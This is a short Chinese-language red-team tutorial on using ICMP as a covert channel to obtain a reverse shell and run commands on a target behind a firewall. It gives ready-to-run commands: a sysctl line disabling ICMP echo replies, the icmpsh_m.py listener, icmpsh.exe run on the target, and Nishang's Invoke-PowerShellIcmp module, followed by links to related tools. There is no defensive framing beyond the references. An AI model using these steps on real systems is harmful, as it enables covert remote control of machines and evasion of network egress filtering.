隐匿攻击之ICMP
内部网络中的大多数系统都位于防火墙和公司代理之后,以便控制入站和出站Internet流量。防火墙可以阻止反向并绑定TCP连接。但是大多数情况下允许ICMP流量。因此,可以将此协议用作隐蔽通道,以便获取shell并在目标主机上远程执行命令。
这是一种古老的技术,在有限的环境中大多数时候都使用它来接收shell,但现在随着红队交战的蔓延,它可以作为另一种方法,通过使用ICMP流量和绕过出口过滤来执行命令。
工具icmpsh可用于有效地执行此攻击。Bernardo Damele将其导入到工具sqlmap中,该工具可以使用-os-pwn开关触发。
以下命令将禁用所有ICMP回应应答,这对于工具正常工作至关重要,并将启动一个等待来自目标主机的ICMP数据包的侦听器:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmpsh_m.py 192.168.100.3 192.168.100.4
icmpsh工具的GitHub存储库还包含需要在目标主机上传输和执行的二进制文件。以下命令将ICMP流量发送到主主机:
icmpsh.exe -t 192.168.100.3
shell将通过ICMP接收,并且可以通过此通道执行命令。
Daniel Compton开发了一个脚本来自动化该过程。此脚本所需的唯一输入是目标主机的IP地址。该脚本包含在GitHub上的icmpsh存储库中。
在线上还有各种其他工具,作为对像pix-c2这样的ICMP执行命令和控制的替代方案。
PowerShell
Nishang框架包含一个PowerShell模块,可以与icmpsh python脚本结合使用,以获得ICMP上的shell。在主机上,以下命令将等待任何传入的ICMP数据包。
./icmpsh_m.py 192.168.100.3 192.168.100.4
在目标主机上,PowerShellIcmp模块仅需要主机IP地址:
Import-Module .\Invoke-PowerShellIcmp.ps1
Invoke-PowerShellIcmp 192.168.100.3
将从主控主机接收连接。
参考
- https://attack.mitre.org/wiki/Command_and_Control
- http://bernardodamele.blogspot.co.uk/2011/04/reverse-connection-icmp-shell.html
- https://github.com/inquisb/icmpsh
- https://github.com/samratashok/nishang
- http://leidecker.info/downloads/index.shtml
- https://github.com/nocow4bob/PiX-C2
- https://github.com/sincoder/icmp_shell
- https://github.com/Darkpaw95/ICMP_Rev_shell